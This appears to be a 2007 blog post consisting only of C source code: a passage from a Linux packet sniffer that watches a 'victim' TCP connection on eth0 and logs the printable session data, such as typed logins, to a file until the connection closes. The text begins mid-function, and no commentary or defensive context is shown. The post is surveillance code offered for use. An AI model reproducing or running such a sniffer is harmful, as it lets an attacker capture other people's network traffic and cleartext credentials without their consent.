Wednesday, February 14, 2007

if(tcp->fin == 1)

{

victim.active=0;

alarm(0);

fprintf(fp, "\n----- [FIN]\n");

clear_victim();

return 0;

}

return 1;

}





int print_header(void)

{

fprintf(fp, "\n");

fprintf(fp, "%s => ", hostlookup(ip->saddr));

fprintf(fp, "%s [%d]\n", hostlookup(ip->daddr), ntohs(tcp->dest));

}



int print_data(int datalen, char *data)

{

int i=0;

int t=0;



victim.bytes_read=victim.bytes_read+datalen;

for(i=0;i != datalen;i++)

{

if(data[i] == 13) { fprintf(fp, "\n"); t=0; }

if(isprint(data[i])) {fprintf(fp, "%c", data[i]);t++;}

if(t > 75) {t=0;fprintf(fp, "\n");}

}

}





main(int argc, char **argv)

{

s=openintf("eth0");

ip=(struct iphdr *)(((unsigned long)&ep.ip)-2);

tcp=(struct tcphdr *)(((unsigned long)&ep.tcp)-2);

signal(SIGHUP, SIG_IGN);

signal(SIGINT, cleanup);

signal(SIGTERM, cleanup);

signal(SIGKILL, cleanup);

signal(SIGQUIT, cleanup);

if(argc == 2) fp=stdout;

else fp=fopen(TCPLOG, "at");

if(fp == NULL) { fprintf(stderr, "cant open log\n");exit(0);}

clear_victim();

for(;;)

{

read_tcp(s);

if(victim.active != 0) print_data(htons(ip->tot_len)-sizeof(ep.ip)-sizeof(ep.tcp), ep.buff-2);

fflush(fp);

}

}



char *hostlookup(unsigned long int in)

{

static char blah[1024];

struct in_addr i;

struct hostent *he;



i.s_addr=in;

he=gethostbyaddr((char *)&i, sizeof(struct in_addr),AF_INET);

if(he == NULL) strcpy(blah, inet_ntoa(i));

else strcpy(blah, he->h_name);

return blah;

}



void clear_victim(void)

{

victim.saddr=0;

victim.daddr=0;

victim.sport=0;

victim.dport=0;

victim.active=0;

victim.bytes_read=0;

victim.start_time=0;

}



void cleanup(int sig)

{

fprintf(fp, "Exiting...\n");

close(s);

fclose(fp);

exit(0);

}